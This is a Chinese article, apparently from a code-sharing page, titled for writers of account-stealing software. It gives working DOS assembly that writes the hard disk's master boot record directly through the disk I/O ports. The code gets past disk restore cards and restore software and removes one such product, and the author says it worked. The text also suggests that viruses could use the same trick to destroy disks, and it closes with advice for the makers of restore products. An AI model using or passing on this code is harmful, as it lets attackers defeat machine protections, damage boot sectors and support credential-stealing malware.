?? 編制偷盜號軟件必看:一種可以穿透還原卡和還原軟件的代碼.txt
字號:
rep insw ;傳輸數據
; ------
mov ax,201h ;以下是用INT13H讀硬盤的0磁頭、0柱面、1扇區
mov dx,80h
mov cx,1
mov bx,offset buffer2
int 13h
mov cx,512 ;以下部分用來比較2種方法讀出的硬盤數據
mov si,offset buffer
mov di,offset buffer2
repe cmpsb
jne failure
mov ah,9
mov dx,offset readmsg
int 21h
jmp good_exit
failure:
mov ah,9
mov dx,offset failmsg
int 21h
good_exit: ;以下部分用來結束程序
mov ax,4c00h ;退出程序
int 21h
readmsg db The buffers match. Hard disk read using ports.$
failmsg db The buffers do not match.$
buffer db 512 dup (V)
buffer2 db 512 dup (L)
五、可以穿透還原卡或是還原軟件保護的代碼
你可以對照硬盤讀寫端口含義表,再好好看看上面的例子,你將會對硬盤讀寫端口有一個比較深的理解。好了,到了該把謎底揭曉的時候了,重新回到我們的主題。正如你現在想象的,這種可以穿透還原卡或是還原軟件保護的代碼的確是對硬盤讀寫端口的輸入輸出操作。現在,我們已經可以從原理上理解了,還原卡攔截的是中斷操作,但卻攔截不了輸入輸出操作,而用輸入輸出操作足夠可以對硬盤進行寫操作了,當然用輸入輸出操作也完全可以讀到被虛擬還原程序屏蔽的關鍵部分,被還原卡或是還原軟件屏蔽的0頭0道1扇。知道了這一原理以后,可能是仁者見仁智者見智的,如果你是一個虛擬還原技術的破解者、一個病毒制造者,或是虛擬還原技術的設計者,往往對此的理解都是不盡相同的。
在此強調我不贊成制造病毒,但一個病毒制造者完全可以用此原理寫出一個可以實現破壞裝有還原卡或還原軟件的機器了,所以我要提醒虛擬還原用戶的是,不要以為裝有還原卡或是還原軟件就掉以輕心,要知道世界上還是有病毒能夠穿透虛擬還原技術的保護,達到破壞硬盤的目的的,想象一下如果把這一原理運用到CIH病毒中,或者運用到硬盤殺手病毒中,其后果是不堪設想的。
談談如何用這種可以穿透虛擬還原技術的代碼來破解還原軟件(如還原精靈)吧。以下是我寫的用來測試破解還原精靈的代碼,本代碼編譯后的程序需要在純DOS環境執行,在DOS下我用這段代碼成功的把還原精靈給卸載了。
.286
CODE SEGMENT
ASSUME CS:CODE,DS:code,ES:code
START:
;----------------------------------------------------------
;以下代碼用INT13H讀主引導區
mov ax,0201h
mov dx,0080h
mov cx,0001h
mov bx,7c00h
int 13h
;---------------------------------------------------------
;以下代碼用I/O端口來寫主引導區
mov dx,1f6h ; 要讀入的磁盤號及磁頭號
mov al,0a0h ; 磁盤0,磁頭0
out dx,al
mov dx,1f2h ; 要寫的扇區數量
mov al,1 ; 寫一個扇區
out dx,al
mov dx,1f3h ;要寫的扇區號
mov al,1 ;寫到1扇區
out dx,al
mov dx,1f4h ; 要寫的柱面的低8位
mov al,0 ; 低8位為0
out dx,al
mov dx,1f5h ; 要寫的柱面的高2位
mov al,0 ; 高2位為0
out dx,al
mov dx,1f7h ;命令端口
mov al,30h ;嘗試著寫扇區.
out dx,al
oogle:
in al,dx
test al,8 ;磁盤扇區緩沖是否準備好
jz oogle
mov cx,512/2 ;設置循環次數(512/2)
mov si,7c00h
mov dx,1f0h ;數據端口,用來存放要發送的數據.
rep outsw ;發送數據.
; ------------------------------------------------------------------------------
;退出程序
mov ah,4ch
int 21
CODE ENDS
END START
上面的程序非常簡單,說明如下:
1、先把被還原精靈備份的原來的主引導區用INT13H讀出來,這里雖然是對0頭0道1扇進行讀操作,但實際上是在讀被還原精靈把原來的主引導區備份進去的那個扇區;
2、把讀出的原來的主引導區通過輸入輸出操作寫進真正的主引導區,換句話說就是把還原精靈給徹底刪除了,此時重新啟動你將發現還原精靈已經沒有了。
我寫了個FORWIN98/NT/XP的卸載還原精靈等軟件的程序,大家可到www.lsky.net下載,不過已經有人先我一步了,那就是網吧終結者出的一個清MBR的程序,我試了一下,發現的確有用,我還沒有仔細分析該程序,但我敢肯定其原理差不多。那個程序寫得不錯,不過我認為有一點需要改進,我的硬盤的MBR程序是我自己寫的,用來實現多引導操作,當我執行完該清MBR程序后,我的多引導代碼就沒了,我覺得此程序如果能把核心代碼部分改成象我以上的代碼,在還原精靈下是把裝還原精靈之前的MBR寫回到主引導區,即使沒裝還原精靈的硬盤也只是把主引導區寫回主引導區,就沒有任何的危險了。
用以上的方法要實現還原卡的破解可能是不行的,因為還原卡畢竟是硬件,它可以先于硬盤引導前執行,這樣即使你寫回了硬盤的主引導區,還原卡還是可以把它寫回的,但是,在破解還原卡的時候,完全可以利用文章中的原理,把還原卡寫入硬盤主引導區的真正代碼讀出進行分析,甚至有些還原卡的密碼就在這個扇區中。
對于還原卡和還原軟件的制造者來說,如何讓您制造的還原卡或還原軟件更安全,可能是一個需要思考的問題。真心希望以后的還原卡或是還原軟件在攔截INT13H的同時也能攔截硬盤I/O操作。
在我安裝還原精靈的時候看到一個選項是“防止硬盤I/O破壞”,開始還以為還原精靈在這方面做的不錯,想到了從攔截I/O操作來保護硬盤。可惜我錯了,即使選擇這一個選項,也同樣可以通過輸入輸出端口操作來寫硬盤。對于掌握了這種技術的人來說,這種還原卡或是還原軟件可以說是形同虛設。因此我認為,還原卡和還原軟件不但要實現攔截所有硬盤寫操作、攔截對主引導區的讀寫操作,更應該攔截對硬盤的讀寫端口的操作,只有這樣的虛擬還原技術才可能使基于硬盤的讀寫端口操作所對硬盤的破壞或是對虛擬還原技術的破解變成不可能。
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -